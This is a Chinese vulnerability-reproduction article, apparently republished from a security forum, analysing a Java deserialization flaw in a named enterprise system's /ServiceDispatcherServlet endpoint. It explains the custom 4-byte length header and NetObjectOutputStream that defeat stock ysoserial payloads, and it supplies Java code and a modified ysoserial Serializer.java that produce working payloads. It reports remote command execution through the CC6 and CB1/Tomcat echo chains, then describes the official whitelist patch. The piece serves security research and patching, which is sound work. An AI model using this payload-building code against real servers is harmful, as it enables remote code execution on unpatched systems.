【代码审计】某系统反序列化漏洞复现及分析

某Clound系统公开并修复了很多反序列化漏洞，大多反序列点是直接对用户输入的序列化数据执行反序列化操作，并结合系统中存在的反序列利用链，攻击者可以进行命令执行。本次的起因是通过公开的漏洞路径复现时，发现无法直接使用ysoserial工具生成的payload进行利用。与之前的反序列化漏洞情况不同，需要找找原因。如有疏漏，欢迎大佬指正包涵。

某Clound系统公开并修复了很多反序列化漏洞，大多反序列点是直接对用户输入的序列化数据执行反序列化操作，并结合系统中存在的反序列利用链，攻击者可以进行命令执行。
本次的起因是通过公开的漏洞路径复现时，发现无法直接使用ysoserial工具生成的payload进行利用。与之前的反序列化漏洞情况不同，需要找找原因。如有疏漏，欢迎大佬指正包涵。

ServiceDispatcherServlet反序列化漏洞分析

公开的漏洞路径为/ServiceDispatcherServlet

路由分析

在WEB-INF目录下，找到漏洞路径对应的服务名称为CommonServletDispatcher

继续浏览该文件，通过服务名找到映射的类nc.bs.framework.comn.serv.CommonServletDispatcher

经过耐心的搜索查找，在fw.jar文件中找到对应的类文件。

阅读类文件中源码，发现事情果然没有辣么简单。
在服务初始化时，会通过反射调用的方式，调用web.xml文件中的初始化参数service所对应的类nc.bs.framework.comn.serv.ServiceDispatcher，并将类实例化赋给serviceHandler，方便后面调用。

看看之后操作，还是在CommonServiceDispatcher中，存在doGet方法对传递进来的get请求处理。

此处，就是前面的serviceHandler实例出场，调用ServiceDispatcher类中的exeCall方法对请求数据进行处理。

当然，还存在doPost方式，但同样调用doGet方法对请求数据进行处理。

反序列化利用失败原因分析

后面就需要进一步跟进ServiceDispatcher类中的代码，看看对请求数据的处理流程。
还好ServiceDispatcher和CommonServiceDispatcher就在同路径下，得来全不费工夫。
跟进ServiceDispatcher类中，优先看看这个execCall方法，发现对请求中的数据使用readObject方法进行处理。

之前的反序列化漏洞如下面的代码片段所示，是直接对请求包中数据调用对象输入流的readObject方法。而ServiceDispatcher类中的不同点就是它使用了自己的readObject方法对请求包中的数据进行处理，因此还需要继续跟进该方法。

.......
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object input = ois.readObject();
......

找到ServiceDispatcher类中readObject方法。前面部分的代码比较难理解具体作用，但能看出来是对传入的数据进行转化、分解和检测操作的。先根据传入信息创建对应长度的空字节数组，之后读取该长度的信息到字节数组中。
重点是最后else中的部分，会将对字节数组使用NetObjectInputStream进行readObject反序列化

这里肯定会比较好奇NetObjectInputStream的作用，其实它就是继承自ObjectInputStream实现的自定义的序列化类，因此同样存在反序列时自动调用的问题。

但是想要进入else到达这个触发点，还存在障碍。因为if判断会对传入的数据进行合法性检测。经过调试发现，直接使用ysoserial工具生成序列化数据就是因为这个原因无法正常反序列化，导致反序列化利用失败。

问题解决

经过代码调试和一系列错误的序列化数据构造尝试后，最终发现原来ServiceDispatcher类中readObject方法对传入的序列化数据前4个字节格式有要求。同时，还需要使用自定义的序列化类NetObjectOutputStream来生成序列化数据。

在客户端的jar包文件中可以找到使用自定义的序列化类NetObjectOutputStream来写入序列化数据并向服务端发送。

跟进一下NetObjectOutputStream类的writeObject方法。

参考上述writeObject代码，编写序列化方法。在NetObjectOutputStream类序列化对象输出流后，在前面添加对象输出流大小移位操作后的字节数组，这样就能保证序列化数据能顺利通过if-else判断进入反序列化操作。

public static void serialize(Object obj) throws IOException {
    // 创建一个字节数组输出流
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    // 创建一个对象输出流
    NetObjectOutputStream oos = new NetObjectOutputStream(baos);
    oos.writeObject(obj);
    oos.finish();
    oos.flush();
    // 获取字节数组
    byte[] bytes1 = {(byte) ((baos.size() >>> 24) & 255), (byte) ((baos.size() >>> 16) & 255), (byte) ((baos.size() >>> 8) & 255), (byte) ((baos.size() >>> 0) & 255)};
    byte[] bytes2 = baos.toByteArray();
    // 将字节数组转换为十六进制字符串并输出
    String hexString1 = DatatypeConverter.printHexBinary(bytes1);
    String hexString2 = DatatypeConverter.printHexBinary(bytes2);
    System.out.println(hexString1+hexString2);
}

漏洞复现

编写DNSURL链进行反序列化点的探测，序列化方法使用上面提供代码即可。注意一定要引入对应系统版本的依赖包fw.jar和basic.jar，否则生成的序列化数据可能会无法成功反序列化。

输出十六进制字符串payload

利用Yakit十六进制解码功能标签构造数据包，成功触发dnslog的请求，探测到该反序列化点可用。（本文后面使用的发包测试工具均为Yakit）

CC6链测试

该系统依赖中，发现有用到commons-collections 3.2.1，则可以通过CC链达到命令执行目的。

因为版本缘故，对多条CC链进行测试，成功利用CC6链进行远程命令执行。

回显链测试

虽然可以进行远程命令执行，但是CC6链使用起来还是不方便，就进一步测试能否找到可用的回显链。
尝试构造CC6的回显链暂未成功，还有待继续跟进学习。
但经过对比测试，该系统依赖中正好也发现commons-beanutils 1.8.0，则可以使用CB1利用链进行远程命令执行。

回显的话，还需要收集框架或者中间件信息，方便确定回显链。这里看到该系统使用了Tomcat中间件。

通过学习相关文档及测试开源代码，最终利用Y4er师傅开源的CommonsBeanutils183NOCC和TomcatCmdEcho回显链测试成功。项目地址：Y4er/ysoserial
因为该项目是针对常见的序列化方式进行开发的，为了满足本次漏洞的利用，需要对项目中序列化部分的代码进行修改。主要是使用自定义的序列化类NetObjectOutputStream生成序列化数据，并在头部添加数据大小的移位字节。修改的Serializer.java内容如下：

package ysoserial;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.util.concurrent.Callable;

import nc.bs.framework.comn.NetObjectOutputStream;
import javax.xml.bind.DatatypeConverter;
public class Serializer implements Callable<byte[]> {
private final Object object;

public Serializer(Object object) {
this.object = object;
}

public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);

byte[] bytes1 = {(byte) ((out.size() >>> 24) & 255), (byte) ((out.size() >>> 16) & 255), (byte) ((out.size() >>> 8) & 255), (byte) ((out.size() >>> 0) & 255)};
byte[] bytes2 = out.toByteArray();
// 将字节数组转换为十六进制字符串并输出
String hexString1 = DatatypeConverter.printHexBinary(bytes1);
String hexString2 = DatatypeConverter.printHexBinary(bytes2);
System.out.println(hexString1+hexString2);

return out.toByteArray();
}

public static void serialize(final Object obj, final OutputStream out) throws IOException {
// final ObjectOutputStream objOut = new ObjectOutputStream(out);
final NetObjectOutputStream objOut = new NetObjectOutputStream(out);
objOut.writeObject(obj);
objOut.finish();
objOut.flush();
}

public byte[] call() throws Exception {
return serialize(object);
}
}

在项目main目录下编写测试文件，调用CB1Tomcat回显链生成序列化数据。

成功触发回显命令执行

漏洞修复

下载官方的补丁包即可修复。补丁是在NetObjectInputStream类的构造方法中增加了 InvocationInfo.class、ESBContextForNC.class 两个白名单限制类，来限制恶意的数据反序列化。

参考文章
https://www.4hou.com/posts/nJnl
https://blog.csdn.net/qq_41904294/article/details/134277353

文章来源：奇安信攻防社区

作者：Duck

链接：https://forum.butian.net/share/2661

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！

如侵权请私聊我们删文

END

原文始发于微信公众号（黑白之道）：【代码审计】某系统反序列化漏洞复现及分析